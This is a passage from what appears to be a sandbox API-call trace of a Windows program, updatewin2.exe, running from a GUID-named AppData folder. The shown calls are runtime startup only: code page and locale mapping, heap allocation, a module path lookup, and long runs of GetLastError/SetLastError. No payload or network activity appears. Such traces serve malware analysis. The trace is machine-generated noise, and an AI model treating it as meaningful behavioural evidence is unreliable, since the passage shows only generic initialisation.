cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.024] FreeEnvironmentStringsW (penv=0x524e70) returned 1 [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] GetACP () returned 0x4e4 [0054.024] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x0, Size=0x220) returned 0x1e51768 [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.024] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0054.024] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0054.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.024] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0054.024] GetLastError () returned 0x0 [0054.024] SetLastError (dwErrCode=0x0) [0054.024] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0054.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ") returned 256 [0054.025] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.025] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x6a\x23\xa3\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ") returned 256 [0054.025] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.025] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀ꋭ㞅AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0054.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x6a\x23\xa3\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.025] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe")) returned 0x5f [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.025] GetLastError () returned 0x0 [0054.025] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.026] SetLastError (dwErrCode=0x0) [0054.026] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.027] SetLastError (dwErrCode=0x0) [0054.027] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.028] SetLastError (dwErrCode=0x0) [0054.028] GetLastError () returned 0x0 [0054.029] SetLastError (dwErrCode=0x0) [0054.029] GetLastError () returned 0x0 [0054.029] SetLastError (dwErrCode=0x0) [0054.029] GetLastError () returned 0x0 [0054.029] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.032] SetLastError (dwErrCode=0x0) [0054.032] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.033] GetLastError () returned 0x0 [0054.033] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 